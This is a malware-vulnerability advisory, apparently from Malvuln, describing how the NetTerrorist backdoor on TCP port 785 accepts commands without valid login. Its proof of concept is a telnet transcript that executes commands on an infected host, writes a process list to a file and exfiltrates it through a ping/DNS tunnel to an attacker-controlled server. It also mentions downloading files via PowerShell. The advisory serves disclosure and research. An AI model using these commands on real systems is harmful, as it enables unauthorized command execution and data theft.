Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5131a9b441c9f9b20228f171c327a4f5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetTerrorist
Vulnerability: Unauthorized Remote Command Execution
Description: NetTerrorist listens on TCP port 785, it seemingly uses authentication like USER [user], PASS [pass]. Interestingly, you can just bypass authentication and run commands while ignoring any error messages. If you wish to logon the main account is "root" with password "root" which is easily guessed. Whether logged on correctly or not, when issuing commands you get errors like "JAJAAJJ 500 'EXEC' command not understood". Just ignore these messages as we can execute all types of commands on the infected system.
Type: PE32
MD5: 5131a9b441c9f9b20228f171c327a4f5
Vuln ID: MVID-2021-0081
Dropped files: Systray.exe
Disclosure: 02/09/2021

Exploit/PoC:
TELNET [Infected_Host_IP] 785

PhuCk y0u                                                                                                               
USER root                                                                                                               
JAJAAJJ                                                                                                                 
331 Password required for root.                                                                                         
PASS abc123                                                                                                               
JAJAAJJ                                                                                                                 
530 Login incorrect. 
                                                                                                            
exec cmd /k ping 8.8.8.8                                                                                                
JAJAAJJ                                                                                                                 
500 'EXEC': command not understood.
exec calc                                                                                                               
JAJAAJJ                                                                                                                 
500 'EXEC': command not understood.                                                                                    
exec cmd /k dir                                                                                                         
JAJAAJJ 
500 'EXEC': command not understood. 
exec cmd /k taskkill /im ProcessHacker.exe                                                                              
JAJAAJJ                                                                                                                 
500 'EXEC': command not understood. 

Execute tasklist command and write to file.

500 'EXEC': command not understood.                                                                                     
exec cmd /k tasklist > c:\out.txt 

Grab the results using ping (OR finger.exe to DarkFinger.py C2) to ICMP exfil tunnel to a DNS server we control.
500 'EXEC': command not understood.                                                                                     
exec cmd /k for /f "delims=*" %a in (c:\1.txt) do ping -n 1 %a                                                           
JAJAAJJ                                                                                                                 
500 'EXEC': command not understood.  

On our DNS server we see:

msdtc.exe. -> 192.168.1.10
ShellExperienceHost.exe. -> 192.168.1.10
SearchUI.exe. -> 192.168.1.10
RuntimeBroker.exe. -> 192.168.1.10
SearchIndexer.exe. -> 192.168.1.10
vm3dservice.exe. -> 192.168.1.10
cmd.exe. -> 192.168.1.10
conhost.exe. -> 192.168.1.10
ApplicationFrameHost.exe. -> 192.168.1.10
Backdoor.Win32.NetTerrori. -> 192.168.1.10 
tasklist.exe. -> 192.168.1.10
                         
Issue taskkill to terminate the backdoor if you got the PID:

PhuCk y0u                                                                                                               
exec cmd /c taskkill /f /pid 392                                                                                        
JAJAAJJ                                                                                                                 
500 'EXEC' command not understood.                                                                                     

Connection to host lost.

You can also try to execute PowerShell to download your own filez.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).